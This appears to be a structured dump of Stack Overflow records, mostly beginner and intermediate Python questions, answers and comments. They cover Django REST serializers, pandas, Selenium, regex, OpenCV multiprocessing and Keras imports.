has body: This is my models: class Order(models.Model): """ """ order_num = models.CharField(max_length=128, unique=True) order_status = models.CharField(max_length=12) product_describe = models.TextField() billing_type = models.CharField(max_length=16) buytime = models.CharField(max_length=16) count = models.IntegerField() paytype = models.CharField(max_length=16) cost = models.DecimalField(max_digits=8, decimal_places=2, default=0.00) account = models.ForeignKey(to=Account) ctime = models.DateTimeField(auto_now_add=True) uptime = models.DateTimeField(auto_now=True) def __str__(self): return self.product_describe def __unicode__(self): return self.product_describe This is my serializer: class OrderCreateSerializer(ModelSerializer): data_params = serializers.DictField() class Meta: model = Order fields = ( "product_describe", "billing_type", "data_params", ) def create(self, validated_data): request = self.context.get("request") if request and hasattr(request, "user"): user = request.user validated_data["order_num"] = generateOrderNum(userid=user.id) validated_data["order_status"] = "unpay" data_dic = validated_data.pop("data_params") # validated_data["buytime"] = data_dic["data"]["buytime"] validated_data["count"] = data_dic["data"]["count"] validated_data["paytype"] = "" validated_data["cost"] = 0.00 validated_data["account"] = user.account return Order.objects.create(**validated_data) You see, in my serializer I have pop the data_params: data_dic = validated_data.pop("data_params") But when I access this API, I get: AttributeError at /api/financialmanage/order/add/ Got AttributeError when attempting to get a value for field data_params on serializer OrderCreateSerializer. The serializer field might be named incorrectly and not match any attribute or key on the Order instance. Original exception text was: 'Order' object has no attribute 'data_params'. If I don't pop data_params, I will get bellow error: TypeError at /api/financialmanage/order/add/ 'data_params' is an invali…
has answer: http://stackoverflow.com/a/47346734
possible better answer: http://stackoverflow.com/a/59171157
has comment: http://stackoverflow.com/comment/81641317
has comment: http://stackoverflow.com/comment/81641760
has comment: http://stackoverflow.com/comment/81641300
has comment: http://stackoverflow.com/comment/81641166
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81641983
type: AnsweredQuestion
answer count: 3
accepted answer: http://stackoverflow.com/a/47345305
has comment: http://stackoverflow.com/comment/81642178
score: 1
has title: Django Rest Framework : Got AttributeError when attempting to get a value for field `data_params` on serializer `OrderCreateSerializer`
has answer: http://stackoverflow.com/a/59171157
downvote count: 0
has answer: http://stackoverflow.com/a/47345305
upvote count: 1
has comment: http://stackoverflow.com/comment/81641275
tagged with: django-rest-framework
has comment: http://stackoverflow.com/comment/81641852
favorite count: 0

http://stackoverflow.com/comment/81673074
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47359874
has text: But it shows just for the first line: ['08-08-93', '38', '17', '47', '25', '30', '37'] I need something like a list of lists, something like: [['08-08-93', '38', '17', '47', '25', '30', '37'], ['09-08-93', '34', '14', '447', '5525', '230', '337'], ['10-08-93', '33', '27', '437', '525', '830', '137'] and so on] and I want to loop faster through them because I want to analyze just the numbers not the date, date will be just for quick access to a specified/needed drawing. Thank you for your help !
type: Comment

http://stackoverflow.com/q/47230345
has comment: http://stackoverflow.com/comment/81412798
accepted answer: http://stackoverflow.com/a/47231188
tagged with: linear-regression
has comment: http://stackoverflow.com/comment/81412037
has comment: http://stackoverflow.com/comment/81412662
score: 1
has comment: http://stackoverflow.com/comment/81411975
has comment: http://stackoverflow.com/comment/81413014
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81412216
has title: Format Data for Statsmodels Linear Regression
upvote count: 1
favorite count: 0
type: Question
tagged with: statsmodels
has answer: http://stackoverflow.com/a/47231188
tagged with: python
has body: I am trying to do some multivariate linear regression using Statsmodels in Python, but I've been having a bit of a mental roadblock trying to organize my data. So the default Boston dataset looks like this: And the output of the linear regression model is this: My raw data is space separated like so: And I have been able to arrange it into the array here: Does anyone with more Python experience know how I can format my data in a similar way to the Boston dataset so that I can easily preform my regression model? For instance, setting up feature_names that correspond to my data indices. Here are the first several lines of my raw data for reference: cycles instructions cache-references cache-misses branches branch-misses page-faults Power 62,206,703 32,245,343 611,044 95,558 5,641,681 222,594 421 6.6 77,401,927 61,320,289 822,194 98,898 10,910,837 595,585 1,392 6.1 344,672,658 271,884,884 5,371,884 1,253,294 49,628,843 2,782,476 5,392 7.6 231,536,106 173,069,386 3,239,546 325,881 31,584,329 1,777,599 4,372 7.0 212,658,828 152,965,489 3,100,104 251,128 28,182,710 1,588,984 4,285 6.8 1,222,008,914 1,254,822,100 21,562,804 647,512 228,200,750 8,455,056 5,044 15.6 932,484,581 1,132,190,670 8,591,598 507,549 196,773,155 7,610,639 7,147 12.5 241,069,403 148,143,290 3,745,890 320,577 27,384,544 1,614,852 4,325 7.4 253,961,868 195,947,891 3,399,113 331,988 36,069,348 1,980,045 4,322 7.7 142,030,480 91,300,650 2,026,211 242,980 17,269,376 1,010,190 3,651 6.5 90,317,329 51,421,629 1,309,714 146,585 9,332,184 492,279 1,511 6.2 293,537,472 224,121,684 3,964,357 379,418 41,137,776 1,981,583 3,386 7.9 Thanks
has comment: http://stackoverflow.com/comment/81412819
tagged with: numpy
type: AnsweredQuestion

http://stackoverflow.com/comment/81598669
type: Comment
has text: @YousefAmar Good catch! Fixed it.
type: AnswerComment
comment on: http://stackoverflow.com/a/47315910
score: 0

http://stackoverflow.com/comment/81520243
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47283612
has text: Does the fact that the connections are directional influence your decision whether nodes are connected? Specifically. in the graph `A->B<->C`, would you consider `A` to be part for the connected component of `C`? If so, you can just convert the graph to an undirected one and find the connected component in that graph (`nx.to_undirected` IIRC).
type: Comment

http://stackoverflow.com/comment/81584554
type: AnswerComment
has text: Hi Pierre. Your original code worked for me as well. But it seemed odd that you were generating summary data for 'cost' before you'd processed the graph.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47314638

http://stackoverflow.com/comment/81716317
comment on: http://stackoverflow.com/a/47375829
score: 0
type: Comment
type: AnswerComment
has text: See https://stackoverflow.com/questions/47377115/typing-python-sequence-to-cython-array-and-back for further optimization.

http://stackoverflow.com/a/47355051
type: Answer
has body: You can use melt for this. It allows you to select a number of ID columns and value columns. In your case, the value columns are everything apart from 'brand', so we can ignore that parameter. As such, you can do everything in one line: import pandas as pd df = pd.DataFrame({ 'brand': ['brand1', 'brand2', 'brand3'], 'Jan-17': [22, 232, 324], 'Feb-17': [333, 424, 999] # ... }) rearranged = pd.melt(df, id_vars=['brand'], var_name='Date', value_name='Total') print(rearranged) This prints: brand Date Total 0 brand1 Feb-17 333 1 brand2 Feb-17 424 2 brand3 Feb-17 999 3 brand1 Jan-17 22 4 brand2 Jan-17 232 5 brand3 Jan-17 324
answers question: http://stackoverflow.com/q/47354835
has comment: http://stackoverflow.com/comment/81663425
upvote count: 2
has comment: http://stackoverflow.com/comment/81663035
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81662977
score: 2
has comment: http://stackoverflow.com/comment/81663367
accepted answer of: http://stackoverflow.com/q/47354835

http://stackoverflow.com/comment/91777716
score: 4
has text: Code is always good, but it also helps to add some comments or context around how the code addresses the original question.
type: AnswerComment
comment on: http://stackoverflow.com/a/52417051
type: Comment

http://stackoverflow.com/comment/81677424
type: AnswerComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ The iteration for index is fine. Do you have any suggestions here?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47362199

http://stackoverflow.com/comment/81637406
has text: "PyCharm's profile will profile everything, drowning the output I want, and saying the functions I want to profile take 0.000 seconds" what do you mean by this? If so, have you tried wrapping the functions into a new one where you call them like 10000 times?
score: 0
comment on: http://stackoverflow.com/q/47342238
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81670020
has text: @RyandeKleer Ah, I understand.
type: Comment
comment on: http://stackoverflow.com/a/47358323
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81699153
type: QuestionComment
has text: Just put a `print()` line where you want the line break
comment on: http://stackoverflow.com/q/47373299
score: 0
type: Comment

http://stackoverflow.com/q/47223844
has answer: http://stackoverflow.com/a/47223953
has body: I'd like to scroll to the bottom of a page using Selenium with the Firefox driver. Here is what I have so far: from selenium import webdriver from selenium.webdriver.common.keys import Keys browser=webdriver.Firefox() browser.get('http://nostarch.com') htmlElem=browser.find_element_by_tag_name('html') htmlElem.send_keys(Keys.END) #scrolls to bottom Unfortunately, my code fails with the following exception: Traceback (most recent call last): File "&lt;pyshell#26&gt;", line 1, in &lt;module&gt; htmlElem.send_keys(Keys.END) #scrolls to bottom File "C:\Users\academy\AppData\Local\Programs\Python\Python35\lib\site- packages\selenium\webdriver\remote\webelement.py", line 352, in send_keys 'value': keys_to_typing(value)}) File "C:\Users\academy\AppData\Local\Programs\Python\Python35\lib\site- packages\selenium\webdriver\remote\webelement.py", line 501, in _execute return self._parent.execute(command, params) File "C:\Users\academy\AppData\Local\Programs\Python\Python35\lib\site- packages\selenium\webdriver\remote\webdriver.py", line 308, in execute self.error_handler.check_response(response) File "C:\Users\academy\AppData\Local\Programs\Python\Python35\lib\site- packages\selenium\webdriver\remote\errorhandler.py", line 194, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.ElementNotInteractableException: Message: Element is not visible
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47239929
type: Question
type: UnansweredQuestion
tagged with: python
has title: Error while scrolling to the bottom of a Web page using selenium
tagged with: selenium-webdriver
answer count: 2
tagged with: selenium-firefoxdriver
downvote count: 0
tagged with: selenium
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81397402
linked to: http://stackoverflow.com/q/27927964
favorite count: 0

http://stackoverflow.com/a/47309939
answers question: http://stackoverflow.com/q/47309730
has comment: http://stackoverflow.com/comment/81571594
has comment: http://stackoverflow.com/comment/81571304
has comment: http://stackoverflow.com/comment/81571165
has comment: http://stackoverflow.com/comment/81573974
type: Answer
has body: This is expected behavior. Your minimum value for 2017 is more than 1.5 IQR below the first quartile of the four provided data points, in which case the minimum is displayed as an outlier (a point). From the docs for whis in boxplot (emphasis mine): whis : float, sequence, or string (default = 1.5) As a float, determines the reach of the whiskers to the beyond the first and third quartiles. In other words, where IQR is the interquartile range (Q3-Q1), the upper whisker will extend to last datum less than Q3 + whis*IQR). Similarly, the lower whisker will extend to the first datum greater than Q1 - whis*IQR. Beyond the whiskers, data are considered outliers and are plotted as individual points. Set this to an unreasonably high value to force the whiskers to show the min and max values. Alternatively, set this to an ascending sequence of percentile (e.g., [5, 95]) to set the whiskers at specific percentiles of the data. Finally, whis can be the string 'range' to force the whiskers to the min and max of the data. So if you want the whiskers to extend all the way, df.boxplot(grid=False, figsize=(9, 4), whis='range')
has comment: http://stackoverflow.com/comment/81574225
has comment: http://stackoverflow.com/comment/81571485
upvote count: 5
score: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47309730
type: AcceptedAnswer

http://stackoverflow.com/q/47274032
has body: I would like to make a loop to create a dataframe that gathers the lines of an input dataframe, which have common points. My problem : When I apply the function, the output dataframe is empty... yet with a print (output) in the loop, we see that the program works .. I do not understand, i tried to change return position but that doesn't work Thank you in advance for your help ! def group (dataframe, identifiant, output): for i in range(len(identifiant)): ident = identifiant.loc[i,"IDCTV"] # print(ident) for j in range(len(dataframe)): if dataframe.loc[j,"IDCONTREVENANT"] == ident: di = dataframe.loc[j, "DATE_INFRACTION"] nt = dataframe.loc[j,"NOTRAIN"] genre = dataframe.loc[j,"CODEETATCIVIL"] age = dataframe.loc[j,"AGE"] # print(di, nt, genre, age) for k in range(len(dataframe)): if k != j : if dataframe.loc[k,"DATE_INFRACTION"] == di and dataframe.loc[k,"NOTRAIN"] == nt: idgroup = dataframe.loc[k,"IDCONTREVENANT"] genreidgroup = dataframe.loc[k,"CODEETATCIVIL"] ageidgroup = dataframe.loc[k,"AGE"] output = output.append({ "IDREF" : ident ,"CODEETATCIVILREF" : genre,"AGEREF" : age ,"IDCTV" : idgroup,"CODEETATCIVILCTV" : genreidgroup,"AGECTV" : ageidgroup}, ignore_index = True) print(output) return output group(df,IDCTV,df_groups) print(df_groups)
answer count: 1
has comment: http://stackoverflow.com/comment/81499307
has comment: http://stackoverflow.com/comment/81499955
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47275473
has title: Function return empty dataframe
has comment: http://stackoverflow.com/comment/81500127
type: Question
has comment: http://stackoverflow.com/comment/81499641
tagged with: return
upvote count: 2
has comment: http://stackoverflow.com/comment/81501347
accepted answer: http://stackoverflow.com/a/47275473
tagged with: dataframe
tagged with: python
tagged with: append
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81500775
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/81499858
has comment: http://stackoverflow.com/comment/81500501

http://stackoverflow.com/a/47301924
has body: Here is another solution: import re my_list= ["on@3", "two#", "thre%e"] print [re.sub('[^a-zA-Z0-9]+', '', _) for _ in my_list] output: ['on3', 'two', 'three']
upvote count: 15
downvote count: 0
score: 15
answers question: http://stackoverflow.com/q/47301795
type: Answer

http://stackoverflow.com/comment/81499213
type: QuestionComment
score: 0
has text: I believe it's from Microsoft
comment on: http://stackoverflow.com/q/47273900
type: Comment

http://stackoverflow.com/comment/81593148
score: 0
has text: >donkopotamus: thank you for leaving the comment. your comment helped me to understand more!
type: AnswerComment
comment on: http://stackoverflow.com/a/47298467
type: Comment

http://stackoverflow.com/a/47241960
has comment: http://stackoverflow.com/comment/81435127
type: Answer
has body: Try This ( Normal way ): with open("rawCorpus.txt", 'r') as read_file: raw_data = read_file.readlines() my_save_data = open("testFile.text", "a") for lines in raw_data: if "." in lines: re_lines = lines.replace(".", ".\r\n") my_save_data.write(re_lines) else: my_save_data.write(lines + "\n") my_save_data.close() if your text file is not big you can try this too : with open("rawCorpus.txt", 'r') as read_file: raw_data = read_file.read() re_data = raw_data.replace(".", ".\n") with open("testFile.text", "w") as save_data: save_data.write(re_data) UPDATE ( output new lines depends on your text viewer too! because in some text editors "\n" is a new line but in some others "\r\n" is a new line. ) : input sample : This is a book. i love it. This is a apple. i love it. This is a laptop. i love it. This is a pen. i love it. This is a mobile. i love it. Code: last_buffer = [] read_lines = [line.rstrip('\n') for line in open('input.txt')] my_save_data = open("output.txt", "a") for lines in read_lines: re_make_lines = lines.split(".") for items in re_make_lines: if items.replace(" ", "") == "": pass else: result = items.strip() + ".\r\n" my_save_data.write(result) my_save_data.close() Ouput Will Be : This is a book. i love it. This is a apple. i love it. This is a laptop. i love it. This is a pen. i love it. This is a mobile. i love it.
answers question: http://stackoverflow.com/q/47241845
downvote count: 0
has comment: http://stackoverflow.com/comment/81434721
score: 5
has comment: http://stackoverflow.com/comment/81434792
upvote count: 5

http://stackoverflow.com/comment/81418040
score: 1
type: Comment
type: QuestionComment
has text: Your title says you want odd numbers, your body says even. Which is it?
comment on: http://stackoverflow.com/q/47233663

http://stackoverflow.com/a/47250954
answers question: http://stackoverflow.com/q/47250909
accepted answer of: http://stackoverflow.com/q/47250909
has body: So if you have the list: l = [['1.222', '3.3333'],['333.444', '4444.5555']] then what you are trying to do is convert each element to a float, this can be done with: [[float(i) for i in j] for j in l] which outputs a new list with contents: [[1.222, 3.3333], [333.444, 4444.5555]] Upon further inspection, it seems you may actually want the output of: [[1.222, 3.3333],[3.4444, 4.55555]] in this case, you can simply do: [[float(i[i.index('.')-1:]) for i in j] for j in l] or alternatively: [[float(i) % 10 for i in j] for j in l] but this second option leads to slightly off floats due to how Python handles them: [[1.222, 3.3333], [3.444000000000017, 4.555500000000393]]
upvote count: 2
type: AcceptedAnswer
downvote count: 0
score: 2
type: Answer

http://stackoverflow.com/q/47370007
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/json
has title: How can I change part of a Django REST Framework JSON response from a list to a dictionary?
tagged with: django-rest-framework
type: Question
has body: More specifically, I need a nested part of my response to be a multi-item dictionary rather than a list of many single-item dictionaries. I am returning all the data I want, but I cannot figure out how to format it more sensibly without what I consider to be an extraneous list Here is the (simplified) response I am currently getting: { "uielements": [ { "home-bg": { "label_text_color": "#123456", "tag_display_text": "young" } }, { "home-speak-btn": { "label_text_color": "", "tag_display_text": null } } ] } I would like the response to be in this format: { "uielements": { "home-bg": { "label_text_color": "#123456", "tag_display_text": "young" }, "home-speak-btn": { "label_text_color": "", "tag_display_text": null } } } Here is my relevant serializer.py code: class UIElementProjectSerializer(serializers.ModelSerializer): class Meta: model = UIElement def to_representation(self, obj): result = super(UIElementProjectSerializer, self).to_representation(obj) uien = UIElementName.objects.filter(id=result['uielementname'])[0] return {uien.name: result} and my relevant views.py code: class ProjectViewSet(viewsets.ViewSet): ... @detail_route(methods=['get']) def uielements(self, request, pk=None): uielements = UIElementFilterSet(params) serializer = serializers.UIElementProjectSerializer(uielements, many=True) return Response({"uielements": serializer.data})
accepted answer: http://stackoverflow.com/a/47415943
has answer: http://stackoverflow.com/a/47415943
tagged with: django
tagged with: python
possible better answer: http://stackoverflow.com/a/47370776
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47370776

parsing
tags question: http://stackoverflow.com/q/47362891
tags question: http://stackoverflow.com/q/47361962
tags question: http://stackoverflow.com/q/47358380
tags question: http://stackoverflow.com/q/47317367
tags question: http://stackoverflow.com/q/47270692
tags question: http://stackoverflow.com/q/47229866
tags question: http://stackoverflow.com/q/47250176
tags question: http://stackoverflow.com/q/47320794
tag name: parsing
tags question: http://stackoverflow.com/q/47250233
tags question: http://stackoverflow.com/q/47312007
tags question: http://stackoverflow.com/q/47338545
tags question: http://stackoverflow.com/q/47246158
tags question: http://stackoverflow.com/q/47370475
tags question: http://stackoverflow.com/q/47365014
tags question: http://stackoverflow.com/q/47264837
tags question: http://stackoverflow.com/q/47240172
tags question: http://stackoverflow.com/q/47296595
tags question: http://stackoverflow.com/q/47354354
type: Tag
tags question: http://stackoverflow.com/q/47250967

http://stackoverflow.com/q/47262955
has answer: http://stackoverflow.com/a/60389807
score: 84
has title: How to import keras from tf.keras in Tensorflow?
has answer: http://stackoverflow.com/a/51659456
downvote count: 0
upvote count: 84
tagged with: keras
tagged with: tensorflow
has body: import tensorflow as tf import tensorflow from tensorflow import keras from keras.layers import Dense I am getting the below error from keras.layers import Input, Dense Traceback (most recent call last): File "&lt;ipython-input-6-b5da44e251a5&gt;", line 1, in &lt;module&gt; from keras.layers import Input, Dense ModuleNotFoundError: No module named 'keras' How do I solve this? Note: I am using Tensorflow version 1.4
has answer: http://stackoverflow.com/a/49600073
tagged with: tf.keras
favorite count: 0
type: Question
answer count: 9
has answer: http://stackoverflow.com/a/60383595
has answer: http://stackoverflow.com/a/76649711
accepted answer: http://stackoverflow.com/a/47265298
tagged with: python
has answer: http://stackoverflow.com/a/47265298
has answer: http://stackoverflow.com/a/55353183
possible better answer: http://stackoverflow.com/a/49850008
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/61325510
has answer: http://stackoverflow.com/a/49850008
tagged with: deep-learning

http://stackoverflow.com/a/47225819
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47225315
has comment: http://stackoverflow.com/comment/81661067
accepted answer of: http://stackoverflow.com/q/47225315
type: Answer
has body: This might work for you: If you do not care about the security of the server, you can first create a jupyer config file with: cd ~/.jupyter jupyter notebook --generate-config Then set the c.NotebookApp.token parameter to an empty string in the configuration file created c.NotebookApp.token = '' As said in comment, Setting to an empty string disables authentication altogether, which is NOT RECOMMENDED. Source: https://github.com/jupyter/notebook/issues/2254
has comment: http://stackoverflow.com/comment/81410769
has comment: http://stackoverflow.com/comment/81410330
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/47293181
linked to: http://stackoverflow.com/q/3218283
linked to: http://stackoverflow.com/q/46456706
answer count: 0
has comment: http://stackoverflow.com/comment/81537466
linked to: http://stackoverflow.com/q/5984633
downvote count: 0
linked to: http://stackoverflow.com/q/2094975
duplicate of: http://stackoverflow.com/q/5984633
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
has body: Consider this simple MWE: s = 'foo bar bar' I'd like to use re.sub to change this to, say: t = 'foo1 bar1 bar1' If I wanted to append a suffix X, this would be pretty simple: re.sub(r'(\w+)\b', r'\1{}'.format('X'), s) 'fooX barX barX' However, the problem arises when I try to substitute numbers: re.sub(r'(\w+)\b', r'\1{}'.format(1), s) Because this gives an error: invalid group reference. Now, I understand why this is the case - the number is inserted into the string, and the string becomes '\11' which would refer to an invalid capture group. Is there a way to use re.sub and get this working? Note that this is just a simple example, and I'm not looking for an alternate solution.
has comment: http://stackoverflow.com/comment/81537212
tagged with: python
tagged with: regex
has title: Using re.sub with capture group references and numbers
tagged with: capture-group
has comment: http://stackoverflow.com/comment/81537209
score: 2

http://stackoverflow.com/comment/81649593
comment on: http://stackoverflow.com/a/47348061
type: AnswerComment
score: 1
has text: Cos, very `pythonic answer !`
type: Comment

http://stackoverflow.com/q/47359856
upvote count: 1
favorite count: 0
tagged with: multiprocessing
type: Question
tagged with: opencv
score: 1
has body: Hi everyone and thanks for the help. I've got this function to save a video from frames taken by my webcam. import cv2 import multiprocessing import threading def rec(): # Define the codec and create VideoWriter object fourcc = cv2.VideoWriter_fourcc(*'XVID') out = cv2.VideoWriter('output.avi',fourcc, 20.0, (640,480)) while(cap.isOpened()): ret, frame = cap.read() if ret==True: out.write(frame) else: break # Release everything if job is finished cap.release() out.release() cv2.destroyAllWindows() If i use it with threads, and so with this code, it works well: s1 = threading.Thread(target=rec) s1.start() But if i want to start another process, using the following code, when i open the video it contains only black frames with some noise. s1 = multiprocessing.Process(target=rec) s1.start() I searched all around but couldn't find any solution. Also, i'm using Python 3.6
has comment: http://stackoverflow.com/comment/81682865
has answer: http://stackoverflow.com/a/47365323
has comment: http://stackoverflow.com/comment/81673486
tagged with: python
has comment: http://stackoverflow.com/comment/81673415
has title: OpenCV works with threads but not with processes
has answer: http://stackoverflow.com/a/47361174
answer count: 2
type: UnansweredQuestion
tagged with: multithreading
downvote count: 0
has comment: http://stackoverflow.com/comment/81673073

http://stackoverflow.com/q/47342835
score: 1
has comment: http://stackoverflow.com/comment/81637924
tagged with: file
has title: Failing to make a line-by-line list from a file?
has answer: http://stackoverflow.com/a/47343033
has comment: http://stackoverflow.com/comment/81637917
has comment: http://stackoverflow.com/comment/81638022
type: Question
has comment: http://stackoverflow.com/comment/81637984
has comment: http://stackoverflow.com/comment/81637960
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81638006
upvote count: 1
tagged with: python
tagged with: iteration
favorite count: 0
linked to: http://stackoverflow.com/q/3906137
type: AnsweredQuestion
tagged with: list
has body: This is what I have (which includes extra processing): import string def main(): fileInput = open("A tisket a tasket.txt",'r') characters, words, lines = countEmUp(fileInput) printCounts(characters, words, lines) tokenList = splitToTokens(fileInput) print(tokenList) def countEmUp(someFileInput): lines, words, chars = 0, 0, 0 for line in someFileInput: chars += len(line) # using += for nice and concise updates words += len(line.split()) lines += 1 return chars, words, lines def printCounts(ch,wd,ln): print("Your file contains the following:") print("Characters:",ch) print("Words:",wd) print("Lines:",ln) def splitToTokens(aFileInput): tokenList = [] for line in aFileInput: tokenList.extend(line.split()) return tokenList main() The problem starts at the splitToTokens function. What I'm trying to do is create an empty list, iterate through a file I opened for reading line-by-line, and add the tokens in that line to my tokenList so I can process the tokens later. When I print tokenList in my main() function it's still an empty list. I suspect that maybe it has to do with my fileInput already being called? I'm trying not to open the file more than once.
has comment: http://stackoverflow.com/comment/81637942
accepted answer: http://stackoverflow.com/a/47343033

http://stackoverflow.com/comment/81672658
comment on: http://stackoverflow.com/a/47359688
has text: Thank you for the answer. I choose these data "randomly" the goal is to have more features than samples. In fact, I will try to implement the eigenface process using numpy.linal.eig for the pca implementation. So I will have n images with size of M (equal to the width x height) with n < M.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47366059
tagged with: python
has answer: http://stackoverflow.com/a/47366126
has title: How to read all the lines using CSV in Python?
score: 0
answer count: 2
has body: In my case, I'm creating a register and it needs to store the login credentials into an external file, through using CSV. I have 2 problems: Every login (username and password) except the first one doesn't work. My first login "14JeoJun" username and "seagull" works, but the next one "13ParJim" username and "excuseme" password doesn't, as well as the rest afterwards. I assume this is because it has not read all of the lines. It wont loop the code for 3 times and close afterwards. It will just forever loop it if you keep getting it wrong, even the login credentials that aren't the first but correct. If the first login credential is correct then it stops looping and exits. I assume this is because of the first problem above. with open("login_credential.txt","r") as login_credential: for x in range (0,2): inputted_username = input("Please enter your username - ") inputted_password = input("Please enter your password - ") login_credentialReader = csv.DictReader(login_credential) for lines in login_credentialReader: if lines["username"].lower() == inputted_username and lines["password"].lower() == inputted_password: print("Welcome...") sys.exit() elif lines["username"].lower() != inputted_username or lines["password"].lower() != inputted_password: x += 1 print("Login credentials are incorrect. Please try again.") login() if x &gt;= 3: print("Too many incorrect tries...") sys.exit This is what's in my external file (login_credential.txt): username,password,forename,surname,year 14JeoJun,seagull,Jungkook,Jeon,2014 13ParJim,excuseme,Jimin,Park,2013 10KimNam,gotjams,Namjoon,Kim,2010 Whenever I switch around whichever comes first, only the first will work.
has comment: http://stackoverflow.com/comment/81685736
type: Question
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81685937
has answer: http://stackoverflow.com/a/47366162

http://stackoverflow.com/comment/81425102
type: QuestionComment
has text: The main problem that wont let the program operate is the fact my If statement arent taking in my inputs of A and B, without the starting line of the program it cant get going
type: Comment
comment on: http://stackoverflow.com/q/47237429
score: 0

http://stackoverflow.com/comment/81512265
has text: Consider the mentioned notes in the doc: https://pypi.python.org/pypi/phpserialize#object-serialization
comment on: http://stackoverflow.com/q/47280799
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81498646
type: Comment
has text: Can you show definition of validation dataset?
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47272383

http://stackoverflow.com/a/47373089
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/47373006
downvote count: 0
has body: Please use sys.version_info &lt; (3,) to tell readers that you're trying to identify the python2 case.
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47373006

file
tags question: http://stackoverflow.com/q/47367195
tags question: http://stackoverflow.com/q/47270367
tags question: http://stackoverflow.com/q/47342271
type: Tag
tags question: http://stackoverflow.com/q/47293290
tags question: http://stackoverflow.com/q/47297656
tags question: http://stackoverflow.com/q/47366664
tags question: http://stackoverflow.com/q/47267698
tags question: http://stackoverflow.com/q/47253984
tags question: http://stackoverflow.com/q/47259753
tags question: http://stackoverflow.com/q/47257678
tags question: http://stackoverflow.com/q/47225026
tags question: http://stackoverflow.com/q/47349629
tags question: http://stackoverflow.com/q/47365093
tags question: http://stackoverflow.com/q/47376705
tags question: http://stackoverflow.com/q/47243404
tags question: http://stackoverflow.com/q/47378639
tags question: http://stackoverflow.com/q/47298253
tag name: file
tags question: http://stackoverflow.com/q/47243812
tags question: http://stackoverflow.com/q/47341102
tags question: http://stackoverflow.com/q/47340542
tags question: http://stackoverflow.com/q/47321292
tags question: http://stackoverflow.com/q/47366873
tags question: http://stackoverflow.com/q/47253256
tags question: http://stackoverflow.com/q/47340394
tags question: http://stackoverflow.com/q/47348819
tags question: http://stackoverflow.com/q/47314743
tags question: http://stackoverflow.com/q/47359777
tags question: http://stackoverflow.com/q/47382415
tags question: http://stackoverflow.com/q/47286218
tags question: http://stackoverflow.com/q/47254123
tags question: http://stackoverflow.com/q/47342835
tags question: http://stackoverflow.com/q/47340674
tags question: http://stackoverflow.com/q/47271843

http://stackoverflow.com/comment/81401677
has text: Are you trying to iterate over a metrice?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47225724
score: 0

http://stackoverflow.com/comment/81517737
type: QuestionComment
has text: I want to first search the complete line in this format as there are many other lines in other sequence i want only this sequence
score: 0
comment on: http://stackoverflow.com/q/47283657
type: Comment

http://stackoverflow.com/comment/81537418
type: Comment
has text: I don't see the reason why you didn't include field `cod_ente` in the forms, maybe you have a good reason, but if it is a mistake, then include that field in the forms and save the form directly with `form.save()`.
type: AnswerComment
comment on: http://stackoverflow.com/a/47293275
score: 0

python-collections
type: Tag
tag name: python-collections
tags question: http://stackoverflow.com/q/47338547

http://stackoverflow.com/q/47230052
type: UnansweredQuestion
tagged with: sum
has body: print ("Budget Analysis Program") print() budget = float(input("Enter amount budgeted for the month: $")) print() print("&lt;&lt;&lt;&lt;Your Expenses for the month&gt;&gt;&gt;&gt;") amount = float(input("Enter an amount spent (0 to quit): $")) #calculate the amount left in budget while (amount&gt;0): amount = float(input("Enter an amount spent (0 to quit): $")) while (amount&lt;0): amount = float(input("Enter an amount spent (0 to quit): $")) print() sum =0 total = sum(amount) print("Budgeted: $", budget) print(" Spent: $", total) print() def left(float): left = (budget - total) if (left &gt; 0): print ("You are $",left,"under budget. WELL DONE!") elif (left == 0): print ("Spending matches budget. Good Planning!") else: print ("You are $",abs (left),"over budget. PLAN BETTER NEXT TIME!") Here is the program I am writing, but I am getting an error saying that "function" can't be combined with "float" or something of that sort. The error is with my sum command, can someone help guide me in the right direction? Thank you
tagged with: python
has comment: http://stackoverflow.com/comment/81410799
has comment: http://stackoverflow.com/comment/81410847
score: 0
answer count: 0
has title: python sum function is giving error when summing user input
has comment: http://stackoverflow.com/comment/81410800
type: Question

http://stackoverflow.com/q/47362998
has answer: http://stackoverflow.com/a/47373212
tagged with: datetime
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81678906
accepted answer: http://stackoverflow.com/a/47363043
has title: how to get datetime to int in django? use datetime only hour and minute
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47363043
answer count: 3
has comment: http://stackoverflow.com/comment/81678999
possible better answer: http://stackoverflow.com/a/47364752
has comment: http://stackoverflow.com/comment/81678913
has answer: http://stackoverflow.com/a/47364752
has body: I wanted to save the time as an int type so I could get the difference between the two times. i import datetime and try to like this now = datetime.now() but i get this : 2017-11-18 05:47:35.262111 how to get only hour and minute to int ex) 0547 I could not solve it.
type: Question

